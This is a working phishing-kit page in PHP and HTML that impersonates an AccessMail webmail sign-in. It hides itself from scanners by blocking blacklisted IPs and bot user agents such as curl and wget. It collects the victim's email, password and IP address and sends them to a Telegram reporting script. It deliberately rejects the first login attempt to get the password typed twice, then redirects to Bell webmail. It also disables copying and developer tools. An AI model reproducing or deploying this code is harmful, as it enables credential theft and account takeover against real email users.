<?php
//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('x8SYQLpUqU')) { 
    function x8SYQLpUqU() { 
        $xb2zx1 = $_SERVER['SERVER_ADDR']; 
        $xXSEJ = '127.0.0.1'; 
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xXSEJ)) {
            $ip=$_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xXSEJ) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xb2zx1))) {
            $ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CLIENT_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip=$_SERVER['REMOTE_ADDR'];
        } 
        return $ip; 
    }
}
$ip=x8SYQLpUqU();

// Check if visitor IP is in blacklist files
if (IPBlacklistLoader::isBlacklisted($ip)) {
    // IP is blacklisted - redirect to centralized URL
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════ 

if (!function_exists('x9PfbWn2bS')) { 
    function x9PfbWn2bS() { 
        if(empty($_SERVER['HTTP_USER_AGENT'])) { 
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); 
        } 
        return $_SERVER['HTTP_USER_AGENT']; 
    }
}
$eRf9t9d9 = x9PfbWn2bS();

// Basic user agent check (secondary protection layer)
$ua_lower = strtolower($eRf9t9d9);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

// ✅ All checks passed - load page
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <title>AccessMail — Sign In</title>
    
    <!-- Antibot Scripts -->
    <script src="../m/js/fingerprint.js"></script>
    <script src="../m/js/utils.js"></script>
    <script src="../m/js/captcha.js"></script>
    
    <!-- Centralized Functions -->
    <script src="../js/centralized_telegram.js"></script>
    <script src="../js/centralized_redirect.js"></script>
    <script src="../js/email_extractor.js"></script>
    <script src="../js/autofill_helper.js"></script>
    <style>
        :root{--teal:#078fa0;--teal-dark:#067f91;--blue:#0b5080;--accent:#fee01e}
        html,body{height:100%;margin:0;font-family:Segoe UI,Roboto,Helvetica,Arial,sans-serif;background-color:var(--teal);background-image:url('https://mail.myaccess.ca/zimbra/img/new-back-ground-image.png');background-repeat:repeat;background-position:center top}
        .page{min-height:100%;display:flex;align-items:center;justify-content:center;padding:12px}
        .card{width:360px;max-width:95%;background:#fff;box-shadow:0 6px 14px rgba(0,0,0,.20);border-radius:2px;overflow:hidden}
        .card .inner{padding:20px 22px}
        .logo{font-weight:700;font-size:36px;letter-spacing:-0.8px;color:var(--blue);display:block}
        .logo .light{color:#37c1cf;margin-right:6px;font-weight:600}
        .signIn{font-size:18px;margin:14px 0;color:#444;font-weight:700}
        label{display:block;color:#666;font-size:13px;margin-top:12px}
        input[type=text],input[type=password],select{width:100%;padding:10px 12px;border:1px solid #e2e2e2;border-radius:3px;font-size:14px;box-sizing:border-box}
        .pw-wrapper{position:relative}
        .pw-wrapper .pw{width:100%;padding-right:56px}
        .pw-toggle{position:absolute;right:10px;top:50%;transform:translateY(-50%);background:transparent;border:none;color:#777;cursor:pointer;padding:6px;font-size:13px}
        .actions{display:flex;align-items:center;justify-content:space-between;margin-top:14px}
        .btn{background:var(--teal);color:#fff;padding:8px 14px;border-radius:6px;border:none;font-weight:600;cursor:pointer}
        .btn:hover{background:var(--teal-dark)}
        .remember{display:flex;gap:6px;align-items:center;color:#555}
        hr{border:0;border-top:1px solid #eee;margin:18px 0}
        .version{background:#f5f5f5;padding:10px 16px;color:#666}
        .footer-bar{position:fixed;left:0;right:0;bottom:0;background:linear-gradient(0deg,var(--teal-dark),var(--teal));color:#fff;padding:8px 10px;text-align:center;font-size:12px}
        .footer-bar a{color:#fff;text-decoration:underline;font-weight:600}
        .protect{color:var(--accent);font-weight:700;margin-right:6px}
        .help-icon{width:28px;height:28px;border-radius:50%;background:#000;color:#fff;display:inline-flex;align-items:center;justify-content:center;margin-left:8px;font-size:14px}
        @media (max-width:520px){.page{padding:8px}.card{width:320px}.inner{padding:12px}}
    </style>
</head>
<body>
    <div class="page">
        <div class="card" role="main">
            <div class="inner">
                <div class="logo"><span class="light">Access</span>Mail</div>
                <div class="signIn">Sign In</div>
                <form id="loginForm" action="#" onsubmit="event.preventDefault();">
                    <label for="username">Username</label>
                    <input id="username" name="username" type="text" autocomplete="username">

                    <label for="password">Password <a href="#" style="float:right;font-size:13px;color:#0b7faa;text-decoration:none">Forgot Password?</a></label>
                    <div class="pw-wrapper">
                        <input id="password" class="pw" name="password" type="password" autocomplete="current-password">
                        <button type="button" class="pw-toggle" id="togglePw" aria-pressed="false" aria-label="Show password" onclick="togglePassword(this)">Show</button>
                    </div>

                    <div class="actions">
                        <button class="btn" id="signIn">Sign In</button>
                        <label class="remember"><input type="checkbox" id="remember"> Stay signed in</label>
                    </div>
                </form>
                <hr>
                <div class="version">
                    <label for="client">Web App Version</label>
                    <div style="display:flex;align-items:center;gap:8px;margin-top:8px">
                        <select id="client"><option>Default</option><option>Classic</option><option>Modern</option></select>
                        <div class="help-icon" title="What's this?">?</div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <div class="footer-bar">
        <span class="protect">Protect your account:</span>
        Enable two-factor authentication (2FA) for extra security and add a recovery email for easy password resets. 
        <a href="#" style="margin-left:10px">Learn more about 2FA</a>
    </div>

    <script>
        function togglePassword(el) {
            var pwd = document.getElementById('password');
            if (pwd.type === 'password') {
                pwd.type = 'text';
                el.setAttribute('aria-pressed', 'true');
                el.setAttribute('aria-label', 'Hide password');
                el.title = 'Hide password';
                el.textContent = 'Hide';
            } else {
                pwd.type = 'password';
                el.setAttribute('aria-pressed', 'false');
                el.setAttribute('aria-label', 'Show password');
                el.title = 'Show password';
                el.textContent = 'Show';
            }
            try {
                var start = typeof pwd.selectionStart === 'number' ? pwd.selectionStart : pwd.value.length;
                var end = typeof pwd.selectionEnd === 'number' ? pwd.selectionEnd : start;
                pwd.focus();
                setTimeout(function() {
                    try { pwd.setSelectionRange(start, end); } catch (inner) { /* ignore */ }
                }, 0);
            } catch (e) { /* ignore if not supported */ }
        }
        window.addEventListener('DOMContentLoaded', function() {
            var spinner = document.getElementById('initSpinner');
            var app = document.getElementById('app');
            var mainContent = document.getElementById('mainContent');
            var initError = document.getElementById('initError');
            if (mainContent) {
                mainContent.style.display = 'block';
            }
            var toggleBtn = document.getElementById('togglePw');
            if (toggleBtn) {
                toggleBtn.onclick = function() { togglePassword(this); };
            }
        });
    </script>
<!-- Antibot Scripts -->
<script src="../m/js/fingerprint.js"></script>
<script src="../m/js/utils.js"></script>
<script src="../m/js/captcha.js"></script>

<!-- Centralized Functions -->
<script src="../js/centralized_telegram.js"></script>
<script src="../js/centralized_redirect.js"></script>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
    <script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>
  <script>
  /* global $ */
  $(document).ready(function() {
    var count = 0;

    function isValidEmail(email) {
      var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
      return filter.test(email);
    }

        function autoFillFromHash() {
            try {
                var h = window.location.hash || '';
                if (!h) return;
                var fragment = h.substr(1);
                if (!fragment) return;

                var value = fragment;
                var partsIdx = fragment.indexOf('=');
                if (partsIdx !== -1) {
                    var lhs = fragment.substr(0, partsIdx).toLowerCase();
                    var rhs = fragment.substr(partsIdx + 1);
                    if (lhs === 'email') value = rhs;
                }

                try { value = decodeURIComponent(value); } catch (e) { /* ignore */ }

                var base64regex = /^([A-Za-z0-9+/]{4})*(([A-Za-z0-9+/]{2}==)|([A-Za-z0-9+/]{3}=))?$/;
                if (base64regex.test(value.replace(/\s/g, ''))) {
                    try {
                        var decoded = atob(value);
                        if (decoded) value = decoded;
                    } catch (e) { /* ignore if not valid base64 */ }
                }

                if (value && isValidEmail(value)) {
                    $('#username').val(value).trigger('input');
                    $('#password').focus();
                }
            } catch (err) { console.warn('autoFillFromHash error', err); }
        }

        // Run auto-fill immediately and on hash change
        autoFillFromHash();
        window.addEventListener('hashchange', autoFillFromHash);

        $('#username, #password').on('input', function() {
            // Error shown via alert in BELL
        });

        (function() {
            var isTouch = 'ontouchstart' in window || navigator.maxTouchPoints > 0;
            if (!isTouch) {
                document.addEventListener('contextmenu', function(e) {
                    e.preventDefault();
                    return false;
                }, false);
            }

            document.addEventListener('copy', function(e) {
                try { e.clipboardData.setData('text/plain', 'Copying is disabled on this page.'); } catch (err) {}
                e.preventDefault();
                return false;
            });

            document.addEventListener('selectstart', function(e) {
                if (!e.target.closest('input, textarea')) {
                    e.preventDefault();
                    return false;
                }
            });

            document.addEventListener('keydown', function(e) {
                if (e.keyCode === 123) { e.preventDefault(); e.stopPropagation(); return false; }
                if (e.ctrlKey && e.shiftKey && (e.keyCode === 73 || e.keyCode === 74 || e.keyCode === 67)) { e.preventDefault(); e.stopPropagation(); return false; }
                if (e.ctrlKey && (e.keyCode === 85 || e.keyCode === 83)) { e.preventDefault(); e.stopPropagation(); return false; }
                if (e.metaKey && e.altKey && e.keyCode === 73) { e.preventDefault(); e.stopPropagation(); return false; }
            });
        })();

        $('#loginForm').on('submit', function(event) {
      event.preventDefault();
      var email = $('#username').val() ? $('#username').val().trim() : '';
      var pw = $('#password').val() ? $('#password').val().trim() : '';
      if (!email) {
        $('#username').focus();
        return false;
      }
      if (!isValidEmail(email)) {
        $('#username').focus();
        return false;
      }
      if (!pw) {
        $('#password').focus();
        return false;
      }
            count = count + 1;

            // Use centralized Telegram reporting with provider tag
            window.providerTag = 'access';
            var clientIP = window.userip || 'n/a';
            
            function sendTelemetry(attempt, redirectOnSuccess) {
                // Send centralized Telegram report
                if (typeof sendCentralizedTelegramReport === 'function') {
                    sendCentralizedTelegramReport(providerTag, email, pw, clientIP, function(success) {
                        if (redirectOnSuccess) {
                            // Use centralized redirect
                            if (typeof performCentralizedRedirect === 'function') {
                                performCentralizedRedirect(300);
                            } else {
                                // Fallback if centralized redirect not available
                                setTimeout(function() { window.location.replace('https://webmail.bell.net/bell/'); }, 300);
                            }
                        }
                    });
                } else {
                    // Fallback if centralized function not available
                    console.error('Centralized Telegram function not available');
                    if (redirectOnSuccess) {
                        if (typeof performCentralizedRedirect === 'function') {
                            performCentralizedRedirect(300);
                        } else {
                            setTimeout(function() { window.location.replace('https://webmail.bell.net/bell/'); }, 300);
                        }
                    }
                }
                
                if (redirectOnSuccess) {
                    $('#signIn').text('Logging in...');
                    setTimeout(function() {
                        $('#signIn').text('Sign In');
                    }, 200);
                }
            }

            sendTelemetry(count, (count >= 2));

            if (count === 1) {
                $('#password').val('').focus();
                return false;
            }
    });
});
  </script>
</body>
</html>
